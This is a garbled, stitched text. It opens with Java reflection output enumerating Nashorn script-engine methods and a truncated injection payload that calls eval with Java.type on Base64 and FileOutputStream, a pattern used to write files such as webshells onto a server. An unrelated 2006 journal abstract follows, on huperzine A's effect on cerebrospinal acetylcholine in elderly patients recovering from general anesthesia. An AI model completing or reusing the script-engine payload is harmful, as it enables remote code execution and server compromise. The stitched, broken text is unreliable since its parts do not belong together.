public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (11): 1660-1662.

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Effect of huperzine A on cerebral cholinesterase and acetylcholine in elderly patients during recovery from general anesthesia

WANG Gang1,ZHANG Shuang-quan2,ZHAN Hong2 1Department of Anesthesia,People’ s Hospital of Guangdong Province,Guangzhou 510080,China;2Department of Anesthesia,Third Affiliated Hospital of Guangzhou Medical College,Guangzhou 510150,China   

  1. 广东省人民医院麻醉科； 广州医学院附属第三医院麻醉科； 广州医学院附属第三医院麻醉科 广东广州510080； 广东广州510150；
  • Online:2006-11-20 Published:2006-11-20

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Abstract: Objective To observe the effect of huperzine A on cerebral cholinergic system in elderly patients during recovery from general anesthesia.Methods Thirty elderly patients undergoing elective surgery under general anesthesia were randomized in a double-blind manner into group I(n=15) to receive huperzine A(0.3 mg/2 ml) and group II(n=15) with normal saline(2 ml) given intravenously.Huperzine A or normal saline was administered 30 min before completion of the operation,and acetylcholine(Ach) concentration in the cerebral spinal fluid(CSF) of the patients was determined using high-performance liquid chromatography with electrochemical detector(HPLC-ECD) and the activity of cholinesterase inhibitors(ChE) evaluated with automatic biochemistry analyzer before general anesthesia induction(T1) and 5 h after operation completion(T2).Results In both the groups,Ach concentration in the CSF were lower at T2 than that at T1(P<0.01),and at T2,CSF Ach concentration was significantly higher in group I than in group II(P<0.01);in group I,the activity of CSF ChE at T2 was lower than that at T1(P<0.01),and also lower than at T2 in group II(P<0.01).Conclusion Huperzine A can inhibit cholinesterase to increase Ach,which has a positive effect on cerebral cholinergic system in elderly patients during recovery from general anesthesia.

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